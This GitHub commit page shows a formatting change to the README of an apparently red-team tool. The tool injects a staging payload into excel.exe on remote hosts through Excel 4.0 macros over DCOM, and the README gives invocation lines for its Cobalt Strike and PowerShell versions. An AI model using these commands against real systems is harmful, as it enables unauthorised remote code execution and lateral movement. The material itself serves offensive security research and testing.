Skip to content

Commit

Permalink
Update README.md
Browse files Browse the repository at this point in the history
  • Loading branch information
stanhegt authored Mar 26, 2019
1 parent e20de3c commit 859ac2b
Showing 1 changed file with 2 additions and 2 deletions.
4 changes: 2 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -7,11 +7,11 @@ Last year, after our presentation at DerbyCon, we released a blog post detailing
It turns out that Excel 4.0 macros are also exposed to DCOM via the ExecuteExcel4Macro method. We modified our process injection XLM macro sample to work on remote hosts as well via DCOM and we hereby release it in PowerShell and Cobalt Strike script versions.

## Usage
Cobalt Strike version:
**Cobalt Strike version**
`Excel4-DCOM <targethost> <listener>`
This will inject a x86 staging payload into excel.exe on the target host. Make sure to execute this from a 32 bit beacon (which can be running on a 64 bit system).

PowerShell version:
**PowerShell version**
`Invoke-Excel4DCOM -ComputerName <target> -Payload <payload location>`
This will inject a x86 staging payload into excel.exe on the target host. Make sure to execute this from a 32 bit PowerShell host (%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe).

Expand Down

0 comments on commit 859ac2b

Please sign in to comment.